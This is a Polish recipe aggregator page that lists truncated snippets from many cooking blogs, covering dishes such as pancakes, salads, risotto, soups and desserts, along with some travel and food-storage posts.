Szybko Tanio Smacznie
Placuszki z kalarepą 110

drożdżowe cały czas mieszając. Nakładamy łyżką porcje na rozgrzaną patelnię (najlepiej z odrobiną tłuszczu). Smażymy z obu stron na rumiany kolor. Podajemy gorące – np u nas w towarzystwie sosu pomidorowego z dodatkiem chilli oraz kukurydzy i zielonego groszku

Szybko Tanio Smacznie
Bulgur z burakami i porzeczkowym sosem 97

filiżankę kaszy w 2 filiżankach wody po czym studzimy. Upieczonego buraka obieramy, kroimy w kostkę. na talerzu układamy bulgur, który posypujemy obficie burakami i kozim serem. Całość polewamy sosem (oliwa z oliwek, sok z cytryny i konfitura). Smacznego

Szybko Tanio Smacznie
Kopenhaga 120

kolejce kilkanaście osób czekało). Na miejscu kupicie domową oranżadę imbirową. Po 17 możecie zjeść sycące risotto. Ja spróbowałam klasycznej owsianki przygotowanej na wodzie i organicznym mleku, na wierzchu sos karmelowy, świeże jabłko i pieczone migdały. Pyszne! http://groed.com Smørrebrød To nic innego jak kanapki z żytniego chleba. Też prosto i konretnie – bo tego „obkładu” to jest całkiem

Szybko Tanio Smacznie
Kiszona kapusta z soczewicą 134

kiszonej szklanka czerwone soczewicy cebula marchewka ząbek czosnku sól i pieprze do smaku 1 łyżeczka mielonego kminku 1 łyżeczka pieprzu ziołowego ziele angielskiego kilka ziarenek liść laurowy 1 łyżka sosu sojowego 1/2 łyżeczki cząbru i lubczyku  1 łyżeczka majeranku  kilka łyżek oleju rzepakowego Cebulę i marchewkę obrać. Marchewkę zetrzeć na tarce, a cebulę posiekać w kostkę, czosnek zmiażdżyć

AZgotuj!
Smaki Dominikany, czyli co jeść w Raju 108

oraz zwykłe sery żółte, która bardzo długo dojrzewają i mają bardzo dobry, pełny smak. Klasyczną jednak potrawą jeżeli chodzi o Dominikanę jest mięso podawane z ryżem które jest polane sosem z fasolki lub ciecierzycy ( La Bandera) nie wygląda to może dobrze, natomiast smakuje bardzo dobrze. Wegetarianie z powodzeniem docenią smak ryżu i fasolki, jeżeli dodamy jeszcze świeże warzywa to genialna

Apetyt na Zielone
Ryż z jabłkami smażonymi i cynamonem 135

smarujemy masłem. Układamy połowę ryżu, następnie jabłka i jeszcze na wierzch resztę ryżu co pozostało, posypać resztką cynamonu. Przykryć formę folią aluminiową. Piec przez 25 minut. SOS: 250 g gęstej śmietany 18%, 2 łyżek cukru i 1 łyżeczką cukru wanilinowego. Mieszamy i polewamy ryż, który jest już na talerzu. 3.5.3251 SONY

Apetyt na Zielone
Smoothie bowl owsiane 138

dodajemy płatki owsiane. Potem gotujemy kilka minutek, wyłączamy grzanie i pod przykrywka zostawiamy do napęcznienia i przestygnięcia. Potem obranego banana, owsiankę, len, brahmi miksujemy, wlewamy do miseczek. Następnie polewamy sosem klonowym, posypujemy owocami jagodowymi i posiekaną czekoladą. Artykuł Smoothie bowl owsiane pochodzi z serwisu Dorota Smakuje

Dorota Smakuje
Jak zrobić prawdziwy domowy budyń i 5 prostych trików na bycie bardziej eko w kuchni! 193

którym kaszę ;-), ale to na pewno znacie z autopsji.  Szklane pojemniki mają jeszcze jedną bardzo pożądaną przeze mnie cechę, mogę je również wykorzystywać do przechowywania jedzenia tj. zupy, sosy czy inne mokre produkty. Dzięki temu, że pojemnik jest ze szkła smak przechowywanych potraw nie zmienia się. Co ważne po umyciu pojemnik - słój- jest wolny od obcych zapachów. Służy

SMYKWKUCHNI
Stripsy/nuggetsy a’la KFC 1367

Delikatne, soczyste w smaku stripsy/nuggetsy a’la KFC to świetna propozycja na prostą i smaczną przekąskę, kolację czy obiad. Smakują wyśmienicie zarówno w towarzystwie domowego sosu czosnkowego jak i frytek. (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 1 podwójna pierś z kurczaka 2 jajka 1/2 szklanki mleka 3/4 szklanki mąki pszennej 1 duży ząbek czosnku 2 łyżeczki soli 1 czubata łyżeczka słodkiej

Blog kulinarny S9.PL
Delikatna zupa tajska z pazurem 130

mojej radości Do garnka wlać wywar, dodać pokrojone w paski mięso. Dodać listki kefir, odcedzone pędy bambusa, kolby kukurydzy, zmiażdżone laski trawy cytrynowej, pastę galangal, zmiażdżone ziarenka pieprzu, sos rybny, przekrojone na pół pieczarki, fasolkę szparagową, chili pokrojoną. Zagotować, doprawić do smaku solą. Gotować 10 minut. Wlać mleczko kokosowe i sok z cytryny. Sprawdzić smak i w razie potrzeby doprawić

Kuchnia Pokoleń
Skrzydeła w chrupiącej panierce z paluszków słonych 130

grill. Bardzo dobre i jeszcze bardziej chrupiące będą pieczone w głębokim oleju, ale u mnie już nikt takich nie chce jeść. Wszyscy na diecie Można podać z różnymi sosami np – słodko kwaśny chili, majonezowo ketczupowy itp. Pyszne, chrupiące. Polecam

Kuchnia Pokoleń
Puszyste czekoladowe placki twarogowe 136

dajemy porcję masy i smażymy po ok 4 minut na stronę, aby ser dobrze się ściął i nie rozwalił przy przewracaniu.  Gotowe posypujemy cukrem pudrem lub polewamy ulubionym sosem. (adsbygoogle = window.adsbygoogle || []).push

Zdrowie i pysznie na talerzu
Puszyste czekoladowe placki twarogowe 131

dajemy porcję masy i smażymy po ok 4 minut na stronę, aby ser dobrze się ściął i nie rozwalił przy przewracaniu.  Gotowe posypujemy cukrem pudrem lub polewamy ulubionym sosem. (adsbygoogle = window.adsbygoogle || []).push

zdrowo i aktywnie
Kotlety mielone rybne 139

tylko. Na piątkowy, postny obiad – tanie, łatwe do przygotowania, smaczne – łatwo się mrożą. Można zrobić z nich burgery i nafaszerować kotletem bułeczkę z warzywami i sosami. Można nadziać tortlille. Można zapakować do pudełka i zabrać na lunch do pracy. Kotlety te można przygotować z ulubionych ryb słodkowodnych lub morskich, trzeba tylko dokładnie oddzielić mięso od ości. PRZEPIS KOTLETY

Dorota Smakuje
Lekkie pulpety drobiowe z brokułem 138

mięsa, ugniatamy masę. Doprawiamy solą, pieprzem, ziołami, kurkumą i papryką. W rękach formujemy klopsiki. Przekładamy na blaszkę wyłożoną papierem do pieczenia. Pieczemy ok. 20 min. Podajemy np. z sosem śmietanowo-koperkowym. I nne pomysły z brokułem w roli głównej: Sałatka z brokułem, kukurydzą, serem feta i prażonym słonecznikiem Zapiekanka makaronowa z kurczakiem, serem feta i brokułem Prosta fit zupa jarzynowa

Czarnawisienka
Placuszki bananowe na kefirze 227

porcje ciasta. Lekko spłaszczamy i układamy po kilka plasterków banana. Smażymy na złoty kolor z obu stron, a następnie odsączamy z tłuszczu na ręczniku papierowym. Podajemy z cukrem pudrem, sosem owocowym lub dżemem. Zapraszam do śledzenia mojego profilu na INSTAGRAMIE

Kuchnia w czekoladzie
Ryż z jabłkami smażonymi i cynamonem 130

smarujemy masłem. Układamy połowę ryżu, następnie jabłka i jeszcze na wierzch resztę ryżu co pozostało, posypać resztką cynamonu. Przykryć formę folią aluminiową. Piec przez 25 minut. SOS: 250 g gęstej śmietany 18%, 2 łyżek cukru i 1 łyżeczką cukru wanilinowego. Mieszamy i polewamy ryż, który jest już na talerzu. 3.5.3251 SONY

Apetyt na Zielone
Sałatka makaronowa z kurczakiem i brokułem 160

attachment_8785" align="aligncenter" width="1024"] Sałatka makaronowa z kurczakiem i brokułem[/caption] Zobacz inne przepisy na sałatki z brokułem: Sałatka Szefa Z Piersią Kurczaka Sałatka Z Brokułem W Sosie Czosnkowym Warstwowa Sałatka Z Brokułem I Kurczakiem Niezwykle Prosta Sałatka Z Brokułem Sałatka Z Brokułem I Pieczonymi Ziemniakami Dietetyczna Sałatka Z Brokułem I Kukurydzą (167 Kcal) Artykuł Sałatka makaronowa

e-PrzepisyKulinarne
Sznycle z indyka 149

INDYKA Składniki na sznycle z indyka: 500g sznycli z indyka 1 cebula 1 szkl bulionu – zobacz przepis olej sól pieprz 2 łyżki mąki Jak zrobić bitki z indyka w sosie: Najpierw mięso indyka myjemy i osuszamy papierowym ręcznikiem. Następnie każdy plaster mięsa lekko rozbijamy młotkiem, oprószamy solą i pieprzem. Potem na dużej patelni rozgrzewamy olej i obsmażamy mięso. W kolejnym

Dorota Smakuje
Tagliatelle z wołowiną i pomidorkami 207

minut. Dodajemy szpinak, makaron prosto z wody, doprawiamy wszystko ziołami prowansalskimi, solą, pieprzem i mieszamy na patelni. Składniki powinny się połączyć. Zobacz przepis na: Tagliatelle z sosem z sera pleśniowego Danie to najlepiej jest podać na patelni, albo w dużym naczyniu, tak aby każdy mógł sobie nałożyć taką porcję, jaką potrzebuje. Smacznego! Artykuł Tagliatelle z wołowiną i pomidorkami pochodzi

Kulinarnyblog.pl - wiesz jak gotować!
ŻEBERKA PO DIABELSKU 131

smaki. Składniki: 1 kg żeberek sól 1/2 szkl ostrego keczupu  2 łyżki miodu 2 łyżki oleju czubata łyżka musztardy  3 ząbki czosnku przeciśnięte przez praskę 1 łyżka sosu sojowego łyżeczka chilli Żeberka podzielić na porcję i posolić.  Składniki marynaty dokładnie ze sobą wymieszać i zalać nią żeberka ułożone w misce.Przykryć i wstawić do lodówki,najlepiej

Niespełnione zdolności kulinarne
Risotto z ośmiornicą i pieczarkami 140

zioła. Jeśli ryż jest jeszcze twardy a płyn wchłonięty dodaj 1/3 szklanki wody i gotuj dalej. Podajemy od razu z ziołami. WYPRÓBUJ RÓWNIEŻ PRZEPIS NA: 1.  KREWETKI W SOSIE KOKOSOWYM Z TAGLIATELLE MARCHEWKOWYM I RYŻEM 2.  RISOTTO Z PESTO I GRANA PADANO - OBIAD W 15 MINUT 3.  ROLADKI Z UDŹCA INDYKA Z BOCZKIEM I SUSZONYMI POMIDORAMI. RISOTTO

SMYKWKUCHNI
Siekane kotleciki drobiowe z warzywami i serem żółtym 162

wiem ile. Podałam je w towarzystwie brokuła gotowanego na parze i ziemniaczków, ale myślę że świetnie będą smakować również z ryżem czy kaszą i surówką, albo same polane tylko sosem czosnkowym. To naprawdę pyszny i oryginalny sposób na zdrowy obiad, zwłaszcza, że ich wykonanie tylko z pozoru wydaje się czasochłonne, a tak naprawdę to tylko kilka chwil na przygotowanie składników

Cynamonowe szczęście
Dorsz z patelni z marchewką i groszkiem 138

Przepis na filet z kurczaka z marchewką i groszkiem cieszył się niebywałym powodzeniem. Przepis znajdziesz tutaj . Takie samo połączenie smaków zastosowałam do przygotowania ryby. Dorsz w sosie z marchewką i groszkiem okazał się równie pyszny. To prosty sposób na szybki obiad. Danie jest kolorowe, zdrowe i pełne smaku, a ryba miękka i soczysta

Gotuj zdrowo!Guten Appetit!
Naleśniki a'la Gundel 192

nakładamy porcję farszu i składamy w trójkąt. Smażymy z obu stron na rumiano. Ja smażyłam na suchej patelni bez dodatku tłuszczu. Podajemy z roztopioną czekoladą lub sosem czekoladowym :-) Smacznego

kruche babeczki
Faszerowane roladki z mięsa mielonego 190

Pyszne roladki z wieprzowego mięsa mielonego faszerowane warzywami i wędzonym boczkiem polane aromatycznym sosem. Prosty i sycący obiad dla całej rodziny. Składniki: 0,5 kg mięsa mielonego wieprzowego 1 jajko 0,5 szklanki bułki tartej 10 dkg wędzonego boczku 0,5 niedużej cukinii 0,5 papryki czerwonej 1 niewielka cebula 1 łyżka koncentratu pomidorowego sól, pieprz, majeranek, papryka

Krokusowy Dom
Sałatka makaronowa z brokułem i kukurydzą 158

kolorową marchewką i piernikowym dressingiem Sałatka z pieczonych buraków i czerwonych pomarańczy Sałatka ze świeżym ananasem i winogronami Sałatka z paluszkami surimi i czosnkiem Sałatka z krewetkami i różowym sosem Sałatka ze świeżym ananasem i kurczakiem Sałatka makaronowa z brokułem i kukurydzą Czas przygotowania: 30 minut Składniki: 1 szklanka suchego makaronu risini 1 puszka kukurydzy 1 czerwona papryka 1/2 małej

Kulinarne przygody Gatity
Ślimaki z serem i zieleniną 170

ślimaki wyłożyć na blachę wyłożoną papierem do pieczenia. Piec w piekarniku nagrzanym do 170 stopni przez około 25-28 minut. Gotowe, gorące ślimaki posmarować resztą oleju. Podawać z ulubionymi sosami. Smacznego Ślimaki z serem i zieleniną Ślimaki z serem i zieleniną Artykuł Ślimaki z serem i zieleniną pochodzi z serwisu Kulinarne życie Armine

Smaki Armine
Przechowywanie produktów spożywczych 166

najmniej stabilna   ze względu na otwieranie lodówki i łatwy dostęp ciepłego powietrza z zewnątrz. Dlatego trzymamy tutaj produkty, które psują się wolniej - oleje (lniany), soki i sosy. Co w szufladzie? Szuflady umiejscowio ne na samym dole lodówki charakteryzuje wyższa wilgotność oraz temperaturą 10 stopni Celsjusza. Tutaj wkładamy warzywa i owoce (patrz wyżej na listę, których artykułów

Zdrowie i pysznie na talerzu
Przechowywanie produktów spożywczych 148

najmniej stabilna   ze względu na otwieranie lodówki i łatwy dostęp ciepłego powietrza z zewnątrz. Dlatego trzymamy tutaj produkty, które psują się wolniej - oleje (lniany), soki i sosy. Co w szufladzie? Szuflady umiejscowio ne na samym dole lodówki charakteryzuje wyższa wilgotność oraz temperaturą 10 stopni Celsjusza. Tutaj wkładamy warzywa i owoce (patrz wyżej na listę, których artykułów

zdrowo i aktywnie
BATBOUT – MAROKAŃSKI CHLEB Z PATELNI / KUCHNIA MAROKAŃSKA 167

tylko w Maroku, ale i w innych, odwiedzonych przeze mnie krajach arabskich ). Je się je prawie do każdego posiłku i prawie zawsze gości na stole. Służy do nabierania mięs, sosów i tajinu oraz nadziewania i faszerowania. W Maroku można go kupić w każdej piekarni lub na przydrożnych straganach. W domu przygotujemy go błyskawicznie! Nie wymaga pieczenia w piekarniku – batbout

Ostra na Słodko
Gołąbki z mięsem i grzybami 130

solą i pieprzem. Farsz układamy a brzegu każdego liścia, ciasno zawijając. Układamy w brytfance, zalewamy niewielką ilością bulionu. Pieczemy pod przykryciem 90 min. w 180°C. Podajemy z ulubionym sosem

R'n'G Kitchen
Marchewka z groszkiem 150

marchewka będzie miękka. Następnie dodaj odsączony groszek, cukier i sól. Całość przemieszaj łyżką. W 1/3 szklanki zimnej wody wymieszaj mąkę lub skrobię ziemniaczaną – wlej do rondla. Gotując się, sos powoli zacznie gęstnieć. Po 2-3 minutach zdejmij z ognia i podawaj.   Jeśli używasz świeżego groszku, ugotuj go razem z marchewką. Danie nadaje się do mrożenia

Kulinarne S.O.S.
Marchewka z groszkiem 150

marchewka będzie miękka. Następnie dodaj odsączony groszek, cukier i sól. Całość przemieszaj łyżką. W 1/3 szklanki zimnej wody wymieszaj mąkę lub skrobię ziemniaczaną – wlej do rondla. Gotując się, sos powoli zacznie gęstnieć. Po 2-3 minutach zdejmij z ognia i podawaj.   Jeśli używasz świeżego groszku, ugotuj go razem z marchewką. Danie nadaje się do mrożenia

Kulinarny S.O.S.
Filet z kurczaka w porach w sosie curry 177

mniej niż 30 minut. Pozostaje tylko kwestia pieczenia. Nam smakowało A jeżeli lubisz pory jako dodatek do mięs, polecam też inne przepisy dostępne na blogu: Polędwiczki w porowym sosie Podudzia kurczaka z porami i suszonymi pomidorami 3 pojedyncze piersi kurczaka 2 duże pory 350 ml śmietany 30% około 100 g sera cheddar 1-2 łyżeczki curry mielona papryka słodka sól

Smaki Na Talerzu
Pasta jajeczna z suszonymi pomidorami 181

urozmaicenie tradycyjnych kanapek. Teraz robię pasty je ciut rzadziej, ale wciąż je uwielbiam. Dziś szybki przepis na pastę jajeczną z suszonymi pomidorami. Suszone pomidory dodaję do wielu rzeczy. Najczęściej sosów, sałatek, past czy makaronów. Lubię je jeść również od tak Polecam Wam suszone pomidory Amkez . Jakość i smak! Składniki: 3 jajka 4-5 suszonych pomidorów Amkez 0,5 cm pora

Słodkie okruszki
Sałatka z truskawkami i szparagami 138

odsączamy z wody. Następnie pozbądź się szypułek i kroimy je na połówki albo ćwiartki. W misce układamy kolejno mix sałat, szparagi oraz truskawki. Następnie w oddzielnym naczyniu przygotowujemy sos. Do miseczki dodajemy oliwę z oliwek, sok z cytryny oraz sól i pieprz. Wszystko dokładnie mieszamy. Następnie gotową sałatką przygotowujemy przygotowanym dressingiem. Artykuł Sałatka z truskawkami i szparagami pochodzi z serwisu

FoodMagazine.pl - Przepisy kulinarne
Rolada z mięsa mielonego 179

mięsa mielonego, nadziewana serem żółtym i szynką, a z wierzchu otulona plastrami boczku. Może być jedzona na ciepło i na zimno. Świetna na obiad lub kolację podana z sosem, sałatką warzywną, ryżem lub ziemniakami. Schłodzona i pokrojona na plastry będzie doskonałą domową wędliną podawaną do chleba lub na kanapkach.   Dania z mięsem mielonym… ** Pyzy z mięsem ** Ziemniaki faszerowane

Kulinarne S.O.S.
Rolada z mięsa mielonego 179

mięsa mielonego, nadziewana serem żółtym i szynką, a z wierzchu otulona plastrami boczku. Może być jedzona na ciepło i na zimno. Świetna na obiad lub kolację podana z sosem, sałatką warzywną, ryżem lub ziemniakami. Schłodzona i pokrojona na plastry będzie doskonałą domową wędliną podawaną do chleba lub na kanapkach.   Dania z mięsem mielonym… ** Pyzy z mięsem ** Ziemniaki faszerowane

Kulinarny S.O.S.
Proziaki podkarpackie pieczone 140

Uwielbiam takie szybkie pieczywo a do tego pyszne i pulchniutkie. Idealnie smakują jako dodatek do sosów, na śniadanie do dipów, past i czego tak uważacie. Z masłem też będą znakomite. Robi się je szybko i znikają szybciutko. Można wykroić dowolny kształt, taki, jaki w danej chwili się Wam przyda, np. serduszka. Podkarpackie proziaki. CZYTAJ DALEJ

Moje Małe Czarowanie
Cynamonowe churros 151

oleju, rozgrzanym do wysokiej temperatury. Dzięki temu ciasto jest chrupiące z zewnątrz, a miękkie i puszyste w środku. Najlepiej smakują posypane cukrem pudrem bądź cynamonem i maczane w gorącym sosie czekoladowym. W Polsce jest to alternatywa dla słynnych faworków i pączków. Polecamy Wam również nasze inne przepisy na desery i ciasta . Składniki : 1,5 szklanki mąki 1 łyżeczka proszku

FoodMagazine.pl - Przepisy kulinarne
Hummus z bobu 148

bób odcedzamy i przelewamy zimną wodą. Gotowy bób przekładamy do miski z zimną wodą. Gdy będzie zimny, obieramy ze skórki. Do naczynia blendera dodajemy obrany bób, pastę tahini, czosnek, sos z cytryny oraz szczyptę soli. Następnie całość blendujemy na gładką masę. Pasta w tym momencie będzie bardzo gęsta. Dodajemy więc wodę i ponownie blendujemy. Musimy dodać tyle wody, aby hummus

FoodMagazine.pl - Przepisy kulinarne
WEGETARIAŃSKIE CURRY 165

łyżki oleju Sposób przyrządzeni: Cebulę poszatkować bardzo drobno, zeszklić na oleju. Dodać puszkę pomidorów (odradzam z lidla), dodać mleczko kokosowe, przyprawy, cieciorkę razem z wodą, gotować bez przykrywki aż sos zgęstnieje. Polecam serdecznie posypać posiekaną kolendrą, ja akurat dzisiaj nie miałam. Porada: podawać z jaśminowym ryżem ugotowanym al dente

pieprzny smaczek
Menu na tydzień: 5 patentów na obiady z kurczaka (i bez) 150

dodatek bez odrobiny tłuszczu. Cała tajemnica tkwi w panierce i sposobie pieczenia. Zobacz przepis Wtorek: Zapiekanka z ziemniaków, brukselki i fankfurterek Zapiekanka z ziemniaków jest wyjątkowa ze względu na sos, jakim należy polać warzywa i kiełbaski przed końcem pieczenia, zrobiony na bazie musztardy i miodu. Środa: Kalafior adobo Pewnie słyszałeś o kurczaku adobo, który jest tradycyjnym i flagowym daniem filipińskim

Niedzielny kucharz
Przepis dnia: Super chrupiące pieczone nuggetsy 135

Odłóż na wysmarowany olejem ruszt lub blaszkę do pieczenia. Krok 4 Rozgrzej piekarnik do 240 stopni. Włóż nuggetsy do piekarnika. Piecz 15 minut. Obróć w połowie pieczenia. Podawaj z sosem pomidorowym oraz frytkami z pieca. Smacznego! * Przesyp płatki kukurydziane do woreczka foliowego i pokrusz przy pomocy wałka do ciasta. Przesyp do misy Artykuł Przepis dnia: Super chrupiące pieczone nuggetsy pochodzi

Niedzielny kucharz
Zupa pomidorowa z makaronem, mięsem mielonym, jarmużem i czerwoną fasolą 146

ostrą w proszku. Mieszamy. Czekamy, aż mięso delikatnie podsmaży się, nie będzie surowe. Wlewamy pomidory z puszki, delikatnie rozdrabniamy widelcem. Dodajemy około 1/2 szklanki wody, aby rozrzedzić sos. Dusimy na małym ogniu 5 minut, a następnie dodajemy jarmuż. Po 5 minutach dodajemy odsączoną i opłukaną z zalewy czerwoną fasolę oraz ugotowany wcześniej makaron. Doprawiamy do smaku. Mieszamy

Moja smaczna kuchnia
Paszteciki z serem, papryką i pieczarkami 203

serów typu mozzarella, bo mogą całkiem wypłynąć z pasztecików. Ciasto i farsz na drożdżowe paszteciki robi się naprawdę szybko i prosto. Do tak przygotowanych pasztecików idealnie smakują domowe sosy, jak pomidorowy czy czosnkowy. Polecam! Składniki: Na farsz: 250 g pieczarek 150 g sera w plasterkach – u mnie Gouda MSM Mońki 150 g 1/4 żółtek papryki 1/4 czerwonej papryki

Słodkie okruszki
Schab w marynacie czosnkowo-musztardowej pieczony w rękawie 150

takiego połączenia! Polecam.     Schab w marynacie czosnkowo-musztardowej pieczony w rękawie - składniki: około 1-1,2 kg schabu Marynata: 2 łyżki oleju 2 łyżki musztardy 2 łyżki sosu sojowego 1 łyżeczka majeranku 3/4 łyżeczki papryki ostrej 3/4 łyżeczki czosnku granulowanego sól (do smaku) Dodatkowo: 2 ząbki czosnku Schab w marynacie czosnkowo-musztardowej pieczony w rękawie - przygotowanie: Wszystkie składniki

Di gotuje
Frytki z kurczaka w prażonej cebulce 170

Filety pokrój w kształt, który najbardziej przypomina frytki. Nie jest to trudne, ale i niezbyt łatwe, wiadomo mięso to nie sztywny ziemniak, mi wyszło średnio Przełóż do miski, dodaj sos chilli, granulowany czosnek sól do smaku i tyle mielonego chilli ile lubisz. Jajko roztrzep widelcem, żeby białko połączyło się z żółtkiem. Wlej do miski mięsem i dokładnie wszystko wymieszaj

Ogrodnik w podróży
Jajka sadzone w grzybach 132

Nigdy za grzybami nie przepadałam. Teraz trochę nadrabiam. Choć nadal nie ciągnie mnie do grzybowej zupy, czy sosu, to chętnie zjem jajecznicę z kurkami, komosę z pieczarkami i jajka sadzone w boczniakach. ok. 100 g boczniaków 1/2 średniej cebuli 1/4 średniej cukinii 2 jajka łyżeczka masła Grzyby kroimy na mniejsze kawałki. Cebulę kroimy w kostkę, dość drobną. Cukinię ścieramy

Kucharzyca
Orzo z krewetkami i marynowaną fetą 141

samym rondlu rozgrzewamy łyżkę oliwy, dodajemy pozostałą część kopru włoskiego, szczyptę chilli oraz czosnek. Smażymy przez chwil, aż czosnek się lekko zrumieni. Dodajemy pomidory, wodę oraz pozostałe przyprawy. Gdy sos zacznie się gotować dodajemy makaron. Zmniejszamy temperaturę gotowania i gotujemy ok. 10-15 minut, aż makaron stanie się miękki. Na koniec dodajemy krewetki i już bez przykrycia gotujemy

Kucharzyca
Kurczak w sosie śmietanowo cebulowym 169

Witam Was🌷🌷🌷 Dziś chcę Was zaprosić na pyszne Danie ,które możemy zajadać zarówno jako danie obiadowe jak i lokacyjne 🥘🥘🥘🥘🥘🥘🥘 Kurczak w sosie śmietanowo cebulowym ,podawane z ryżem. Pychotka ;) Polecam ,) 🌞🌞🌞🌞  Wszystkie przyprawy znajdziecie w sklepie - Skworcu;) @skworcu.com.pl https://www.skworcu.com.pl  Będzie mi bardzo miło jeśli polubisz moją stronę https://m.facebook.com/gotowaniepatki/ A teraz przepis ;)  Składniki:  2 filety pojedyncze

Gotowanie Patki
Trzy propozycje menu (obiad + deser) na Walentynki 179

Desery zawierają truskawki, maliny i czekoladę. Wszystkie poniższe dania nie są czasochłonne w przygotowaniu. Zachęcam do zapoznania się z przepisami 😋  ZESTAW 1 Pieczona pierś z kaczki podana z sosem truskawkowym:  http://ugotowac.blogspot.com/2017/06/pieczona-piers-z-kaczki-podana-z-sosem-truskawkowym.html Deser czekoladowy (dietetyczny):  http://ugotowac.blogspot.com/2016/07/deser-czekoladowy-dietetyczny.html ZESTAW 2 Karkówka z warzywami pieczona w rękawie: http://ugotowac.blogspot.com/2018/04/karkowka-z-warzywami-pieczona-w-rekawie.html Tort bezowy z kremem śmietanowym i musem

Ugotować
Domowe mieszanki przypraw 123

małym kawałku bawełnianego, materiału umieścić liść laurowy,tymianek,natkę pietruszki,pieprz. Unieś rogi materiału,formując mały woreczek i zwiąż sznurkiem kuchennym. Paczuszkę włóż do gotującej się zupy lub sosu. Wyjmij przed podaniem. Cajun Składniki: po 2 łyżki ziaren białego i czarnego pieprzu 2 łyżki pieprzu Cayenne łyżka granulowanego czosnku łyżeczka ziaren gorczycy 1/2 łyżeczki nasion kopru włoskiego i kuminu łyżka

Wymiar Zdrowia
Kluseczki ziemniaczano - jaglane 153

jest wystarczająco dużo, wtedy można zrobić kopytka z dodatkiem np. kaszy jaglanej. I takie właśnie kopytka ziemniaczano - jaglane zrobiłam dziś na obiad. Można je podać z białym serem, sosem pieczarkowym lub mięsnym, lub na słodko z masełkiem i bułką tartą, lub w jeszcze inny dowolny sposób. Oto przepis: (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 100g kaszy jaglanej kilka średnich ziemniaków

Waniliowe Improwizacje
Przepis dnia: Wegetariańskie chili 157

kminu i kolendry, pół łyżeczki pieprzu kajeńskiego (jeśli lubisz ostrzejsze chili), zamieszaj i smaż 4-5 minut, aż cebula zmięknie. Dodaj posiekany ząbek czosnku, smaż jeszcze minutę. Zalej całość sosem pomidorowym (usuń z niego cebulę, czosnek i liść laurowy), dodaj upieczonego batata i cieciorkę oraz odsączoną fasolkę. Zamieszaj i duś na wolnym ogniu 5-10 minut. Dopraw do smaku solą

Niedzielny kucharz
Modra kapusta 189

Choć kapusta czerwona jest nadal mniej popularna niż kapusta biała, z pewnością kojarzymy ją z widokiem klusek śląskich i mięsnej rolady, sowicie polanych sosem bądź jako dodatek do pieczonej kaczki lub gęsi i pyz drożdżowych. Continue reading Modra kapusta at Blog kulinarny Kurkanielotka.pl

kurkanielotka.pl
Chinkali-gruzińskie pierożki z mieszanym mięsem 240

bywają też nadziewane serem, łososiem lub grzybami. Farsz doprawiłam świetną   mieszanką soli morskiej z dodatkiem suszonego selera którą możecie nabyć w sklepie Kuchnie Świata -doskonale podkreśla smak mięs, sosów   czy gulaszy.   A jak smakują pieczone z ogniska ziemniaki z masełkiem i tą solą…pychota. Wypróbujcie koniecznie!  SKŁADNIKI NA 4 PORCJE/ Ciasto:   ½ kg mąki pszennej tortowej

Wanilia i Kardamon
Warzywna musaka 187

Musaka to flagowe danie kuchni greckiej. Bazą są pyszne, dojrzałe pomidory, bakłażany i mięso mielone. W wersji wegetariańskiej mięso zostało zamienione na ziemniaki. Całość zalana jest grzybowym sosem. I pomimo tego, że jest przy tym daniu trochę pracy to warto, bo pyszne. Przepis pochodzi oczywiście z książki Jamiego Olivera Wege. Ilość porcji: 6 porcji Czas przygotowania: 2 godziny Składniki: suszone

wiecejwarzyw.pl
Pikantna sałatka z fasolką szparagową 135

parze przez 20 min. Po tym czasie fasolkę przykładamy do miski. Chili sikamy drobniutko. Następnie majonez mieszamy z chili i przeciśniętym przez praskę czosnkiem i przyprawami. Potem powstały sos mieszamy z ugotowaną fasolką. Finalnie sałatkę posypujemy hojnie posiekana rzeżuchą. Artykuł Pikantna sałatka z fasolką szparagową pochodzi z serwisu Dorota Smakuje

Dorota Smakuje
deser jogurtowy 143

Niebo w gębie! Mega prosty i szybki deser na walentynki.  Składniki: jogurt naturalny (400g), 1 galaretka (u mnie malinowa), 1/2 szklanki wrzątku. Składniki na sos: 100g malin, 100g borówek amerykańskich, 1 łyżeczka cukru lub miodu. Galaretkę rozpuszczamy w ½ szklanki wrzątku. Cały czas mieszając dodajemy jogurt naturalny. Wylewamy do szklanki. Wstawiamy do lodówki na około 1 godzinę.  Gdy wszystko

Słodki Zakątek
Przepisy na walentynki 154

Kolorowa sałatka z jajkiem i łososiem PRZEPIS TUTAJ (klik) 2. Sałatka z tortellini PRZEPIS TUTAJ (klik) 3. Sałatki w muszlach makaronowych PRZEPIS TUTAJ (klik) 4. Sałatka surimi z sosem czosnkowym PRZEPIS TUTAJ (klik) 5. Kolorowa sałatka brokułowa PRZEPIS TUTAJ (klik) 6. Sałatka nicejska z kurczakiem PRZEPIS TUTAJ (klik)   DANIA MIĘSNE:   1. Tatar wołowy PRZEPIS TUTAJ (klik) 2. Klasyczny

Blog z Apetytem
Pizza walentynkowa 142

ciasta można zrobić bułeczkę. Czosnek obrałam i przecisnęłam przez praskę. (adsbygoogle = window.adsbygoogle || []).push({}); Zioła prowansalskie roztarłam w rękach i dodałam do czosnku. Dolałam ketchup i dokładnie wymieszałam. Tak powstałym sosem posmarowałam całe ciasto. Następnie ciasto posypałam równomiernie prażoną cebulką. Ser żółty starłam na tarce na cienkich oczkach. 1/3 sera posypałam pizzę, resztę zostawiłam do posypania wierzchu. Paprykę pokroiłam w paseczki

Waniliowe Improwizacje
Ziołowe kopytka 122

Ziołowe kopytka są smacznym dodatkiem do obiadu lub samodzielnym daniem wegetariańskim. Idealnie pasują do gulaszu, żeberek w sosie, kurczaka w … Przeczytaj cały artykuł Artykuł <span>Ziołowe</span> kopytka pochodzi z serwisu My Blueberry Corner

My Blueberry Corner
“Pesto” z orzechów laskowych, suszonych pomidorów i rukoli 132

jest pesto? To tradycyjny, włoski zielony sos, który składa się z orzeszków piniowych, świeżej bazylii, parmezanu , czosnku i oliwy. Jednak w ostatnim czasie termin “pesto” odnosi się do wielu innych past przygotowanych tą samą metodą, ale z innych, lecz podobnych składników. Czy można używać nazwy “pesto” do domowej pasty z prażonych orzechów laskowych, suszonych pomidorów, rukoli

Tajemnice Smaku
Domowe mieszanki przypraw 129

